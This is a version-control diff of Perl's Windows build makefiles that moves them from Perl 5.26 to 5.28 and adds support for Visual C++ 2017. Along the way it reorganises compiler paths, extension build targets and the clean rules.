 #	Microsoft Visual C++ 6.0 or later
-#	MinGW with gcc-3.4.5 or later
+#	MinGW with gcc-3.4.5 or later with runtime < 3.21
+#	MinGW64 with gcc-4.4.3 or later
 #	Windows SDK 64-bit compiler and tools
 #
 # This is set up to build a perl.exe that runs off a shared library
-# (perl526.dll).  Also makes individual DLLs for the XS extensions.
+# (perl528.dll).  Also makes individual DLLs for the XS extensions.
 #
 # The easiest way to customize the build process is to use parameters like this:
 #
@@ -63,7 +64,7 @@
 # versioned installation can be obtained by setting INST_TOP above to a
 # path that includes an arbitrary version string.
 #
-#INST_VER	:= \5.26.0
+#INST_VER	:= \5.28.0
 
 #
 # Comment this out if you DON'T want your perl installation to have
@@ -133,9 +134,17 @@
 # Uncomment this if you want to support the use of long doubles in GCC builds.
 # This option is not supported for MSVC builds.
 #
-#USE_LONG_DOUBLE :=define
+#USE_LONG_DOUBLE := define
 
 #
+# Uncomment this if you want to build perl with __USE_MINGW_ANSI_STDIO defined.
+# (If you're building perl with USE_LONG_DOUBLE defined then
+# __USE_MINGW_ANSI_STDIO will be defined whether or not this is uncommented.)
+# This option is not supported for MSVC builds.
+#
+#USE_MINGW_ANSI_STDIO := define
+
+#
 # Comment this out if you want the legacy default behavior of including '.' at
 # the end of @INC.
 #
@@ -159,30 +168,20 @@
 #CCTYPE		:= MSVC70FREE
 # Windows Server 2003 SP1 Platform SDK (April 2005)
 #CCTYPE		:= SDK2003SP1
-# Visual C++ 2005 (aka Visual C++ 8.0) (full version)
+# Visual C++ 2005 (aka Visual C++ 8.0) (full version or Express Edition)
 #CCTYPE		:= MSVC80
-# Visual C++ 2005 Express Edition (aka Visual C++ 8.0) (free version)
-#CCTYPE		:= MSVC80FREE
-# Visual C++ 2008 (aka Visual C++ 9.0) (full version)
+# Visual C++ 2008 (aka Visual C++ 9.0) (full version or Express Edition)
 #CCTYPE		:= MSVC90
-# Visual C++ 2008 Express Edition (aka Visual C++ 9.0) (free version)
-#CCTYPE		:= MSVC90FREE
-# Visual C++ 2010 (aka Visual C++ 10.0) (full version)
+# Visual C++ 2010 (aka Visual C++ 10.0) (full version or Express Edition)
 #CCTYPE		:= MSVC100
-# Visual C++ 2010 Express Edition (aka Visual C++ 10.0) (free version)
-#CCTYPE		:= MSVC100FREE
-# Visual C++ 2012 (aka Visual C++ 11.0) (full version)
+# Visual C++ 2012 (aka Visual C++ 11.0) (full version or Express Edition)
 #CCTYPE		:= MSVC110
-# Visual C++ 2012 Express Edition (aka Visual C++ 11.0) (free version)
-#CCTYPE		:= MSVC110FREE
-# Visual C++ 2013 (aka Visual C++ 12.0) (full version)
+# Visual C++ 2013 (aka Visual C++ 12.0) (full version or Express Edition)
 #CCTYPE		:= MSVC120
-# Visual C++ 2013 Express Edition (aka Visual C++ 12.0) (free version)
-#CCTYPE		:= MSVC120FREE
-# Visual C++ 2015 (aka Visual C++ 14.0) (full version)
+# Visual C++ 2015 (aka Visual C++ 14.0) (full version or Express Edition)
 #CCTYPE		:= MSVC140
-# Visual C++ 2015 Express Edition (aka Visual C++ 14.0) (free version)
-#CCTYPE		:= MSVC140FREE
+# Visual C++ 2017 (aka Visual C++ 14.1) (full version or Community Edition)
+#CCTYPE		:= MSVC141
 # MinGW or mingw-w64 with gcc-3.4.5 or later
 #CCTYPE		:= GCC
 
@@ -227,7 +226,7 @@
 # set this to additionally provide a statically linked perl-static.exe.
 # Note that dynamic loading will not work with this perl, so you must
 # include required modules statically using the STATIC_EXT or ALL_STATIC
-# variables below. A static library perl526s.lib will also be created.
+# variables below. A static library perl528s.lib will also be created.
 # Ordinary perl.exe is not affected by this option.
 #
 #BUILD_STATIC	:= define
@@ -234,19 +233,17 @@
 
 #
 # in addition to BUILD_STATIC the option ALL_STATIC makes *every*
-# extension get statically built
+# extension get statically built.
 # This will result in a very large perl executable, but the main purpose
 # is to have proper linking set so as to be able to create miscellaneous
-# executables with different built-in extensions
+# executables with different built-in extensions. It implies BUILD_STATIC.
 #
 #ALL_STATIC	:= define
 
 #
-# set the install locations of the compiler include/libraries
-# Running VCVARS32.BAT is *required* when using Visual C.
-# Some versions of Visual C don't define MSVCDIR in the environment,
-# so you may have to set CCHOME explicitly (spaces in the path name should
-# not be quoted)
+# set the install locations of the compiler
+# Running VCVARS32.BAT, VCVARSALL.BAT or similar is *required* when using
+# Visual C++.
 #
 #CCHOME		:= C:\MinGW
 
@@ -361,30 +358,25 @@
 endif
 endif
 
+# Versions of Visual C++ up to VC++ 7.1 define $(MSVCDir); versions since then
+# define $(VCINSTALLDIR) instead, but for VC++ 14.1 we need the subfolder given
+# by $(VCToolsInstallDir).
 ifeq ($(CCHOME),)
 ifeq ($(CCTYPE),GCC)
 CCHOME		:= C:\MinGW
+else ifeq ($(CCTYPE),MSVC60)
+CCHOME		:= $(MSVCDir)
+else ifeq ($(CCTYPE),MSVC70)
+CCHOME		:= $(MSVCDir)
+else ifeq ($(CCTYPE),MSVC70FREE)
+CCHOME		:= $(MSVCDir)
+else ifeq ($(CCTYPE),MSVC141)
+CCHOME		:= $(VCToolsInstallDir)
 else
-CCHOME		:= $(MSVCDIR)
+CCHOME		:= $(VCINSTALLDIR)
 endif
 endif
 
-#
-# Following sets $Config{incpath} and $Config{libpth}
-#
-
-ifneq ($(GCCCROSS),)
-CCINCDIR := $(CCHOME)\$(GCCCROSS)\include
-CCLIBDIR := $(CCHOME)\$(GCCCROSS)\lib
-CCDLLDIR := $(CCLIBDIR)
-ARCHPREFIX := $(GCCCROSS)-
-else
-CCINCDIR := $(CCHOME)\include
-CCLIBDIR := $(CCHOME)\lib
-CCDLLDIR := $(CCHOME)\bin
-ARCHPREFIX :=
-endif
-
 ifeq ($(CCTYPE),GCC)
 ifeq ($(GCCTARGET),x86_64-w64-mingw32)
 WIN64 := define
@@ -477,6 +469,43 @@
 ARCHNAME	:= $(ARCHNAME)-ld
 endif
 
+# Set the install location of the compiler headers/libraries.
+# These are saved into $Config{incpath} and $Config{libpth}.
+ifneq ($(GCCCROSS),)
+CCINCDIR := $(CCHOME)\$(GCCCROSS)\include
+CCLIBDIR := $(CCHOME)\$(GCCCROSS)\lib
+ARCHPREFIX := $(GCCCROSS)-
+else ifeq ($(CCTYPE),GCC)
+CCINCDIR := $(CCHOME)\include
+CCLIBDIR := $(CCHOME)\lib
+ARCHPREFIX :=
+else
+CCINCDIR := $(CCHOME)\include
+ifeq ($(CCTYPE),MSVC141)
+ifeq ($(WIN64),define)
+CCLIBDIR := $(CCHOME)\lib\x64
+else
+CCLIBDIR := $(CCHOME)\lib\x86
+endif
+else
+ifeq ($(WIN64),define)
+CCLIBDIR := $(CCHOME)\lib\amd64
+else
+CCLIBDIR := $(CCHOME)\lib
+endif
+endif
+ARCHPREFIX :=
+endif
+
+# Set DLL location for GCC compilers.
+ifeq ($(CCTYPE),GCC)
+ifneq ($(GCCCROSS),)
+CCDLLDIR := $(CCLIBDIR)
+else
+CCDLLDIR := $(CCHOME)\bin
+endif
+endif
+
 ARCHDIR		= ..\lib\$(ARCHNAME)
 COREDIR		= ..\lib\CORE
 AUTODIR		= ..\lib\auto
@@ -487,7 +516,6 @@
 PODDIR		= ..\pod
 HTMLDIR		= .\html
 
-#
 INST_SCRIPT	= $(INST_TOP)$(INST_VER)\bin
 INST_BIN	= $(INST_SCRIPT)$(INST_ARCH)
 INST_LIB	= $(INST_TOP)$(INST_VER)\lib
@@ -512,6 +540,9 @@
 ifeq ($(USE_LONG_DOUBLE),define)
 BUILDOPT        += -D__USE_MINGW_ANSI_STDIO
 MINIBUILDOPT    += -D__USE_MINGW_ANSI_STDIO
+else ifeq ($(USE_MINGW_ANSI_STDIO),define)
+BUILDOPT        += -D__USE_MINGW_ANSI_STDIO
+MINIBUILDOPT    += -D__USE_MINGW_ANSI_STDIO
 endif
 
 GCCVER1   := $(shell for /f "delims=. tokens=1,2,3" %%i in ('gcc -dumpversion') do echo %%i)
@@ -632,7 +663,7 @@
 
 ifeq ($(CCTYPE),MSVC140)
 LIBC		= ucrt.lib
-else ifeq ($(CCTYPE),MSVC140FREE)
+else ifeq ($(CCTYPE),MSVC141)
 LIBC		= ucrt.lib
 else
 LIBC		= msvcrt.lib
@@ -647,7 +678,7 @@
 else ifeq ($(CFG),DebugFull)
 ifeq ($(CCTYPE),MSVC140)
 LIBC		= ucrtd.lib
-else ifeq ($(CCTYPE),MSVC140FREE)
+else ifeq ($(CCTYPE),MSVC141)
 LIBC		= ucrtd.lib
 else
 LIBC		= msvcrtd.lib
@@ -684,11 +715,11 @@
 DEFINES		+= -D_CRT_SECURE_NO_DEPRECATE -D_CRT_NONSTDC_NO_DEPRECATE
 endif
 
-# Likewise for deprecated Winsock APIs in VC++ 14.0 for now.
+# Likewise for deprecated Winsock APIs in VC++ 14.0 onwards for now.
 ifeq ($(CCTYPE),MSVC140)
-DEFINES		= $(DEFINES) -D_WINSOCK_DEPRECATED_NO_WARNINGS
-else ifeq ($(CCTYPE),MSVC140FREE)
-DEFINES		= $(DEFINES) -D_WINSOCK_DEPRECATED_NO_WARNINGS
+DEFINES		+= -D_WINSOCK_DEPRECATED_NO_WARNINGS
+else ifeq ($(CCTYPE),MSVC141)
+DEFINES		+= -D_WINSOCK_DEPRECATED_NO_WARNINGS
 endif
 
 # In VS 2005 (VC++ 8.0) Microsoft changes time_t from 32-bit to
@@ -700,7 +731,7 @@
 # Perl itself with e.g. VC6 but later installs an XS module using VC8
 # the time_t types will still be compatible.
 ifeq ($(WIN64),undef)
-ifeq ((PREMSVC80),define)
+ifeq ($(PREMSVC80),define)
 BUILDOPT	+= -D_USE_32BIT_TIME_T
 endif
 endif
@@ -716,7 +747,7 @@
 else
 LIBBASEFILES	+= msvcrt.lib vcruntime.lib
 endif
-else ifeq ($(CCTYPE),MSVC140FREE)
+else ifeq ($(CCTYPE),MSVC141)
 ifeq ($(CFG),DebugFull)
 LIBBASEFILES	+= msvcrtd.lib vcruntimed.lib
 else
@@ -771,6 +802,7 @@
 RSC_FLAGS	= -DINCLUDE_MANIFEST
 endif
 
+# VS 2017 (VC++ 14.1) requires at minimum Windows 7 SP1 (with latest Windows Updates)
 
 # For XP support in >= VS 2013 (VC++ 12.0), subsystem is always in Config.pm
 # LINK_FLAGS else subsystem is only needed for EXE building, not XS DLL building
@@ -784,13 +816,6 @@
 LINK_FLAGS	+= -subsystem:console,"5.01"
 endif
 
-else ifeq ($(CCTYPE),MSVC120FREE)
-ifeq ($(WIN64),define)
-LINK_FLAGS	+= -subsystem:console,"5.02"
-else
-LINK_FLAGS	+= -subsystem:console,"5.01"
-endif
-
 else ifeq ($(CCTYPE),MSVC140)
 ifeq ($(WIN64),define)
 LINK_FLAGS	+= -subsystem:console,"5.02"
@@ -798,13 +823,6 @@
 LINK_FLAGS	+= -subsystem:console,"5.01"
 endif
 
-else ifeq ($(CCTYPE),MSVC140FREE)
-ifeq ($(WIN64),define)
-LINK_FLAGS	+= -subsystem:console,"5.02"
-else
-LINK_FLAGS	+= -subsystem:console,"5.01"
-endif
-
 else ifneq ($(CCTYPE),GCC)
 PRIV_LINK_FLAGS	+= -subsystem:console
 endif
@@ -926,9 +944,9 @@
 
 CFGSH_TMPL	= config.gc
 CFGH_TMPL	= config_H.gc
-PERLIMPLIB	= $(COREDIR)\libperl526$(a)
-PERLIMPLIBBASE	= libperl526$(a)
-PERLSTATICLIB	= ..\libperl526s$(a)
+PERLIMPLIB	= $(COREDIR)\libperl528$(a)
+PERLIMPLIBBASE	= libperl528$(a)
+PERLSTATICLIB	= ..\libperl528s$(a)
 INT64		= long long
 
 else
@@ -941,11 +959,12 @@
 
 # makedef.pl must be updated if this changes, and this should normally
 # only change when there is an incompatible revision of the public API.
-PERLIMPLIB	?= $(COREDIR)\perl526$(a)
-PERLIMPLIBBASE	?= perl526$(a)
-PERLEXPLIB	?= $(COREDIR)\perl526.exp
-PERLSTATICLIB	?= ..\perl526s$(a)
-PERLDLL		= ..\perl526.dll
+PERLIMPLIB	?= $(COREDIR)\perl528$(a)
+PERLIMPLIBBASE	?= perl528$(a)
+PERLEXPLIB	?= $(COREDIR)\perl528.exp
+PERLSTATICLIB	?= ..\perl528s$(a)
+PERLDLL		= ..\perl528.dll
+PERLDLLBASE	= perl528.dll
 
 # don't let "gmake -n all" try to run "miniperl.exe make_ext.pl"
 PLMAKE		= gmake
@@ -1092,11 +1111,13 @@
 # some exclusions, unfortunately, until fixed:
 #  - MakeMaker isn't capable enough for SDBM_File (small bug)
 STATIC_EXT	= * !SDBM_File
+NORMALIZE_STATIC = Normalize_static
 else
 # specify static extensions here, for example:
 # (be sure to include Win32CORE to load Win32 on demand)
 #STATIC_EXT	= Win32CORE Cwd Compress/Raw/Zlib
 STATIC_EXT	= Win32CORE
+NORMALIZE_DYN	= Normalize_dyn
 endif
 
 DYNALOADER	= ..\DynaLoader$(o)
@@ -1147,7 +1168,7 @@
 
 .PHONY: all info
 
-all : info rebasePE Extensions_nonxs $(PERLSTATIC)
+all : info rebasePE Extensions_nonxs $(PERLSTATIC) PostExt
 
 info :
 	@echo # CCTYPE=$(CCTYPE)
@@ -1290,20 +1311,20 @@
 	echo #undef FILE_cnt&& \
 	echo #undef FILE_base&& \
 	echo #undef FILE_bufsiz&& \
-	echo #define FILE_ptr(fp) PERLIO_FILE_ptr(fp)&& \
-	echo #define FILE_cnt(fp) PERLIO_FILE_cnt(fp)&& \
-	echo #define FILE_base(fp) PERLIO_FILE_base(fp)&& \
-	echo #define FILE_bufsiz(fp) (PERLIO_FILE_cnt(fp) + PERLIO_FILE_ptr(fp) - PERLIO_FILE_base(fp))&& \
+	echo #define FILE_ptr^(fp^) PERLIO_FILE_ptr^(fp^)&& \
+	echo #define FILE_cnt^(fp^) PERLIO_FILE_cnt^(fp^)&& \
+	echo #define FILE_base^(fp^) PERLIO_FILE_base^(fp^)&& \
+	echo #define FILE_bufsiz^(fp^) ^(PERLIO_FILE_cnt^(fp^) + PERLIO_FILE_ptr^(fp^) - PERLIO_FILE_base^(fp^)^)&& \
 	echo #define I_STDBOOL)>> config.h
-else ifeq ($(CCTYPE),MSVC140FREE)
+else ifeq ($(CCTYPE),MSVC141)
 	@(echo #undef FILE_ptr&& \
 	echo #undef FILE_cnt&& \
 	echo #undef FILE_base&& \
 	echo #undef FILE_bufsiz&& \
-	echo #define FILE_ptr(fp) PERLIO_FILE_ptr(fp)&& \
-	echo #define FILE_cnt(fp) PERLIO_FILE_cnt(fp)&& \
-	echo #define FILE_base(fp) PERLIO_FILE_base(fp)&& \
-	echo #define FILE_bufsiz(fp) (PERLIO_FILE_cnt(fp) + PERLIO_FILE_ptr(fp) - PERLIO_FILE_base(fp))&& \
+	echo #define FILE_ptr^(fp^) PERLIO_FILE_ptr^(fp^)&& \
+	echo #define FILE_cnt^(fp^) PERLIO_FILE_cnt^(fp^)&& \
+	echo #define FILE_base^(fp^) PERLIO_FILE_base^(fp^)&& \
+	echo #define FILE_bufsiz^(fp^) ^(PERLIO_FILE_cnt^(fp^) + PERLIO_FILE_ptr^(fp^) - PERLIO_FILE_base^(fp^)^)&& \
 	echo #define I_STDBOOL)>> config.h
 endif
 ifeq ($(USE_LARGE_FILES),define)
@@ -1316,6 +1337,11 @@
 	echo #define Off_t_size ^4)>> config.h
 endif
 ifeq ($(WIN64),define)
+ifeq ($(CCTYPE),GCC)
+	@(echo #define LONG_DOUBLESIZE ^16)>> config.h
+else
+	@(echo #define LONG_DOUBLESIZE ^8)>> config.h
+endif
 	@(echo #define PTRSIZE ^8&& \
 	echo #define SSize_t $(INT64)&& \
 	echo #define HAS_ATOLL&& \
@@ -1323,6 +1349,11 @@
 	echo #define HAS_STRTOULL&& \
 	echo #define Size_t_size ^8)>> config.h
 else
+ifeq ($(CCTYPE),GCC)
+	@(echo #define LONG_DOUBLESIZE ^12)>> config.h
+else
+	@(echo #define LONG_DOUBLESIZE ^8)>> config.h
+endif
 	@(echo #define PTRSIZE ^4&& \
 	echo #define SSize_t int&& \
 	echo #undef HAS_ATOLL&& \
@@ -1374,15 +1405,9 @@
 	echo #define PERL_PRIgldbl "Lg"&& \
 	echo #define PERL_PRIeldbl "Le"&& \
 	echo #define PERL_SCNfldbl "Lf"&& \
-	echo #define NVTYPE long double)>> config.h
-ifeq ($(WIN64),define)
-	@(echo #define NVSIZE ^16&& \
-	echo #define LONG_DOUBLESIZE ^16)>> config.h
-else
-	@(echo #define NVSIZE ^12&& \
-	echo #define LONG_DOUBLESIZE ^12)>> config.h
-endif
-	@(echo #define NV_OVERFLOWS_INTEGERS_AT 256.0*256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0&& \
+	echo #define NVTYPE long double&& \
+	echo #define NVSIZE LONG_DOUBLESIZE&& \
+	echo #define NV_OVERFLOWS_INTEGERS_AT 256.0*256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0*2.0&& \
 	echo #define NVef "Le"&& \
 	echo #define NVff "Lf"&& \
 	echo #define NVgf "Lg"&& \
@@ -1401,7 +1426,6 @@
 	echo #undef PERL_SCNfldbl&& \
 	echo #define NVTYPE double&& \
 	echo #define NVSIZE ^8&& \
-	echo #define LONG_DOUBLESIZE ^8&& \
 	echo #define NV_OVERFLOWS_INTEGERS_AT 256.0*256.0*256.0*256.0*256.0*256.0*2.0*2.0*2.0*2.0*2.0&& \
 	echo #define NVef "e"&& \
 	echo #define NVff "f"&& \
@@ -1459,7 +1483,7 @@
 
 $(PERLIMPLIB) : perldll.def
 ifeq ($(CCTYPE),GCC)
-	$(IMPLIB) -k -d perldll.def -l $(PERLIMPLIB) -e $(PERLEXPLIB)
+	$(IMPLIB) -k -d perldll.def -D $(PERLDLLBASE) -l $(PERLIMPLIB) -e $(PERLEXPLIB)
 else
 	lib -def:perldll.def -machine:$(ARCHITECTURE) /OUT:$(PERLIMPLIB)
 endif
@@ -1554,25 +1578,33 @@
 # DynaLoader.pm, so this will have to do
 
 #most of deps of this target are in DYNALOADER and therefore omitted here
-Extensions : $(PERLDEP) $(DYNALOADER) $(GLOBEXE) MakePPPort
+Extensions : $(PERLDEP) $(DYNALOADER) Extension_lib $(GLOBEXE) MakePPPort
 	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --dynamic !Unicode/Normalize
 
-Extensions_normalize : $(PERLDEP) $(DYNALOADER) $(GLOBEXE) $(UNIDATAFILES)
+Normalize_static : $(CONFIGPM) $(GLOBEXE) $(HAVE_COREDIR) $(UNIDATAFILES)
+	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --static +Unicode/Normalize
+
+Normalize_dyn : $(PERLDEP) $(DYNALOADER) $(GLOBEXE) $(UNIDATAFILES)
 	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --dynamic +Unicode/Normalize
 
 Extensions_reonly : $(PERLDEP) $(DYNALOADER)
 	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --dynamic +re
 
-Extensions_static : ..\make_ext.pl list_static_libs.pl $(CONFIGPM) $(GLOBEXE) $(HAVE_COREDIR) MakePPPort
-	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --static
+Exts_static_general : ..\make_ext.pl $(CONFIGPM) Extension_lib $(GLOBEXE) $(HAVE_COREDIR) MakePPPort
+	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --static !Unicode/Normalize
+
+Extensions_static : list_static_libs.pl Exts_static_general $(NORMALIZE_STATIC)
 	$(MINIPERL) -I..\lib list_static_libs.pl > Extensions_static
 
 Extensions_nonxs : ..\make_ext.pl ..\pod\perlfunc.pod $(CONFIGPM) $(GLOBEXE)
 	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --nonxs !libs
 
+Extension_lib : ..\make_ext.pl $(CONFIGPM)
+	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) lib
+
 #lib must be built, it can't be buildcustomize.pl-ed, and is required for XS building
 $(DYNALOADER) : ..\make_ext.pl $(CONFIGPM) $(HAVE_COREDIR)
-	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(EXTDIR) --dir=$(DISTDIR) --dynaloader lib
+	$(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(EXTDIR) --dir=$(DISTDIR) --dynaloader
 
 Extensions_clean :
 	-if exist $(MINIPERL) $(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --all --target=clean
@@ -1580,13 +1612,23 @@
 Extensions_realclean :
 	-if exist $(MINIPERL) $(MINIPERL) -I..\lib ..\make_ext.pl "MAKE=$(PLMAKE)" --dir=$(CPANDIR) --dir=$(DISTDIR) --dir=$(EXTDIR) --all --target=realclean
 
+PostExt : ..\lib\Storable\Limit.pm
+
+# we need the exe, perl(ver).dll, and the Exporter, Storable, Win32 extensions
+# rebasePE most of that, including adjustment for static builds, so we
+# just need non-xs extensions
+..\lib\Storable\Limit.pm : rebasePE Extensions_nonxs
+	$(PLMAKE) -C ..\dist\Storable lib\Storable\Limit.pm
+	if not exist ..\lib\Storable mkdir ..\lib\Storable
+	copy ..\dist\Storable\lib\Storable\Limit.pm ..\lib\Storable\Limit.pm
+
 # all PE files need to be built by the time this target runs, PP files can still
 # be running in parallel like UNIDATAFILES, this target a placeholder for the
 # future
-ifeq ($(BUILD_STATIC),define)
-rebasePE : Extensions $(PERLDLL) Extensions_normalize $(PERLEXE) $(PERLEXESTATIC)
+ifeq ($(PERLSTATIC),static)
+rebasePE : Extensions $(PERLDLL) $(PERLEXE) $(PERLEXESTATIC)
 else
-rebasePE : Extensions $(PERLDLL) Extensions_normalize $(PERLEXE)
+rebasePE : Extensions $(PERLDLL) $(NORMALIZE_DYN) $(PERLEXE)
 endif
 	$(NOOP)
 
@@ -1637,12 +1679,12 @@
 	copy ..\README.tw       ..\pod\perltw.pod
 	copy ..\README.vos      ..\pod\perlvos.pod
 	copy ..\README.win32    ..\pod\perlwin32.pod
-	copy ..\pod\perldelta.pod ..\pod\perl5260delta.pod
+	copy ..\pod\perldelta.pod ..\pod\perl5280delta.pod
 	$(MINIPERL) -I..\lib $(PL2BAT) $(UTILS)
 	$(MINIPERL) -I..\lib ..\autodoc.pl ..
 	$(MINIPERL) -I..\lib ..\pod\perlmodlib.PL -q ..
 
-..\pod\perltoc.pod: $(PERLEXE) $(PERLDLL) Extensions Extensions_nonxs Extensions_normalize utils
+..\pod\perltoc.pod: $(PERLEXE) $(PERLDLL) Extensions Extensions_nonxs $(NORMALIZE_DYN) utils
 	$(PERLEXE) -f ..\pod\buildtoc -q
 
 # Note that the pod cleanup in this next section is parsed (and regenerated
@@ -1659,11 +1701,11 @@
 	-del /f $(LIBDIR)\SDBM_File.pm $(LIBDIR)\Socket.pm $(LIBDIR)\POSIX.pm
 	-del /f $(LIBDIR)\B.pm $(LIBDIR)\O.pm $(LIBDIR)\re.pm
 	-del /f $(LIBDIR)\File\Glob.pm
-	-del /f $(LIBDIR)\Storable.pm
 	-del /f $(LIBDIR)\Sys\Hostname.pm
 	-del /f $(LIBDIR)\Time\HiRes.pm
 	-del /f $(LIBDIR)\Unicode\Normalize.pm
 	-del /f $(LIBDIR)\Math\BigInt\FastCalc.pm
+	-del /f $(LIBDIR)\Storable.pm $(LIBDIR)\Storable\Limit.pm
 	-del /f $(LIBDIR)\Win32.pm
 	-del /f $(LIBDIR)\Win32CORE.pm
 	-del /f $(LIBDIR)\Win32API\File.pm
@@ -1671,6 +1713,7 @@
 	-del /f $(LIBDIR)\buildcustomize.pl
 	-del /f $(DISTDIR)\XSLoader\XSLoader.pm
 	-del /f *.def *.map
+	-if exist $(LIBDIR)\Amiga rmdir /s /q $(LIBDIR)\Amiga
 	-if exist $(LIBDIR)\App rmdir /s /q $(LIBDIR)\App
 	-if exist $(LIBDIR)\Archive rmdir /s /q $(LIBDIR)\Archive
 	-if exist $(LIBDIR)\Attribute rmdir /s /q $(LIBDIR)\Attribute
@@ -1722,7 +1765,7 @@
 	-if exist $(LIBDIR)\TAP rmdir /s /q $(LIBDIR)\TAP
 	-if exist $(LIBDIR)\Term rmdir /s /q $(LIBDIR)\Term
 	-if exist $(LIBDIR)\Test rmdir /s /q $(LIBDIR)\Test
-	-if exist $(LIBDIR)\Test2 rmdir /s /q $(LIBDIR)\Test
+	-if exist $(LIBDIR)\Test2 rmdir /s /q $(LIBDIR)\Test2
 	-if exist $(LIBDIR)\Text rmdir /s /q $(LIBDIR)\Text
 	-if exist $(LIBDIR)\Thread rmdir /s /q $(LIBDIR)\Thread
 	-if exist $(LIBDIR)\threads rmdir /s /q $(LIBDIR)\threads
@@ -1734,7 +1777,7 @@
 	-if exist $(LIBDIR)\Win32API rmdir /s /q $(LIBDIR)\Win32API
 	-if exist $(LIBDIR)\XS rmdir /s /q $(LIBDIR)\XS
 	-cd $(PODDIR) && del /f *.html *.bat roffitall \
-	    perl5260delta.pod perlaix.pod perlamiga.pod perlandroid.pod \
+	    perl5280delta.pod perlaix.pod perlamiga.pod perlandroid.pod \
 	    perlapi.pod perlbs2000.pod perlce.pod perlcn.pod perlcygwin.pod \
 	    perldos.pod perlfreebsd.pod perlhaiku.pod perlhpux.pod \
 	    perlhurd.pod perlintern.pod perlirix.pod perljp.pod perlko.pod \

Modified: vendor/perl/dist/win32/Makefile
===================================================================
--- vendor/perl/dist/win32/Makefile	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/win32/Makefile	2018-12-22 22:55:19 UTC (rev 12126)
@@ -5,7 +5,7 @@
 #	Windows SDK 64-bit compiler and tools
 #
 # This is set up to build a perl.exe that runs off a shared library
-# (perl526.dll).  Also makes individual DLLs for the XS extensions.
+# (perl528.dll).  Also makes individual DLLs for the XS extensions.
 #
 
 ##
@@ -38,7 +38,7 @@
 # versioned installation can be obtained by setting INST_TOP above to a
 # path that includes an arbitrary version string.
 #
-#INST_VER	= \5.26.0
+#INST_VER	= \5.28.0
 
 #
 # Comment this out if you DON'T want your perl installation to have
@@ -119,30 +119,20 @@
 #CCTYPE		= MSVC70FREE
 # Windows Server 2003 SP1 Platform SDK (April 2005)
 #CCTYPE		= SDK2003SP1
-# Visual C++ 2005 (aka Visual C++ 8.0) (full version)
+# Visual C++ 2005 (aka Visual C++ 8.0) (full version or Express Edition)
 #CCTYPE		= MSVC80
-# Visual C++ 2005 Express Edition (aka Visual C++ 8.0) (free version)
-#CCTYPE		= MSVC80FREE
-# Visual C++ 2008 (aka Visual C++ 9.0) (full version)
+# Visual C++ 2008 (aka Visual C++ 9.0) (full version or Express Edition)
 #CCTYPE		= MSVC90
-# Visual C++ 2008 Express Edition (aka Visual C++ 9.0) (free version)
-#CCTYPE		= MSVC90FREE
-# Visual C++ 2010 (aka Visual C++ 10.0) (full version)
+# Visual C++ 2010 (aka Visual C++ 10.0) (full version or Express Edition)
 #CCTYPE		= MSVC100
-# Visual C++ 2010 Express Edition (aka Visual C++ 10.0) (free version)
-#CCTYPE		= MSVC100FREE
-# Visual C++ 2012 (aka Visual C++ 11.0) (full version)
+# Visual C++ 2012 (aka Visual C++ 11.0) (full version or Express Edition)
 #CCTYPE		= MSVC110
-# Visual C++ 2012 Express Edition (aka Visual C++ 11.0) (free version)
-#CCTYPE		= MSVC110FREE
-# Visual C++ 2013 (aka Visual C++ 12.0) (full version)
+# Visual C++ 2013 (aka Visual C++ 12.0) (full version or Express Edition)
 #CCTYPE		= MSVC120
-# Visual C++ 2013 Express Edition (aka Visual C++ 12.0) (free version)
-#CCTYPE		= MSVC120FREE
-# Visual C++ 2015 (aka Visual C++ 14.0) (full version)
+# Visual C++ 2015 (aka Visual C++ 14.0) (full version or Express Edition)
 #CCTYPE		= MSVC140
-# Visual C++ 2015 Express Edition (aka Visual C++ 14.0) (free version)
-#CCTYPE		= MSVC140FREE
+# Visual C++ 2017 (aka Visual C++ 14.1) (full version or Community Edition)
+#CCTYPE		= MSVC141
 
 #
 # If you are using Intel C++ Compiler uncomment this
@@ -202,7 +192,7 @@
 # set this to additionally provide a statically linked perl-static.exe.
 # Note that dynamic loading will not work with this perl, so you must
 # include required modules statically using the STATIC_EXT or ALL_STATIC
-# variables below. A static library perl526s.lib will also be created.
+# variables below. A static library perl528s.lib will also be created.
 # Ordinary perl.exe is not affected by this option.
 #
 #BUILD_STATIC	= define
@@ -209,24 +199,31 @@
 
 #
 # in addition to BUILD_STATIC the option ALL_STATIC makes *every*
-# extension get statically built
+# extension get statically built.
 # This will result in a very large perl executable, but the main purpose
 # is to have proper linking set so as to be able to create miscellaneous
-# executables with different built-in extensions
+# executables with different built-in extensions.
 #
 #ALL_STATIC	= define
 
 #
+# set the install location of the compiler
+# Running VCVARS32.BAT, VCVARSALL.BAT or similar is *required* when using
+# Visual C++.
